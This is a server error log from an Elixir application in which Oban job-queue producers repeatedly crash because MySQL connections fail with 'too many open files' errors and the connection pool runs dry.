    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:50:15.244358Z], limit: 50, uuid: "743701d5-edd7-43bd-afec-2264b5f7f063", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.244363Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5036>, refresh_timer: #Reference<0.2525715032.1077673987.5034>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:32.935000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:36.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:38.271000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:50:27.239380Z], limit: 5, uuid: "51a169a8-8120-4591-ab85-a7b42555e1d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.239399Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32887>, refresh_timer: #Reference<0.2525715032.1121189889.140440>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:39.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:50:27.239082Z], limit: 10, uuid: "b8c5bb94-d9fc-4c6f-b80c-7ba2955334e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.239088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32885>, refresh_timer: #Reference<0.2525715032.1068498948.32851>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:50:27.239828Z], limit: 5, uuid: "68210a9d-308e-4e86-a0e7-735afdd9d2ad", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.239833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32889>, refresh_timer: #Reference<0.2525715032.1077673987.5184>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 880ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:50:27.239038Z], limit: 3, uuid: "7e1dfc0d-93d7-4d8e-a6bc-1ce18e8b7c23", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.239045Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32888>, refresh_timer: #Reference<0.2525715032.1121189889.140418>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:50:27.239342Z], limit: 20, uuid: "53558986-368a-4ed9-8f55-abbefed2363b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.239347Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32886>, refresh_timer: #Reference<0.2525715032.1121189889.140436>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:39.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:50:27.240154Z], limit: 50, uuid: "f6a20a29-2dc9-493d-b650-8ff57af13aa2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:27.240160Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32890>, refresh_timer: #Reference<0.2525715032.1077673987.5187>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:40.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:41.120000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:42.497000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:43.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:45.962000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:50.231000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:50.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:50:39.245883Z], limit: 50, uuid: "f558f79a-249f-4526-ac92-c4d4a56aeda5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:39.245888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.33235>, refresh_timer: #Reference<0.2525715032.1068498948.33227>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
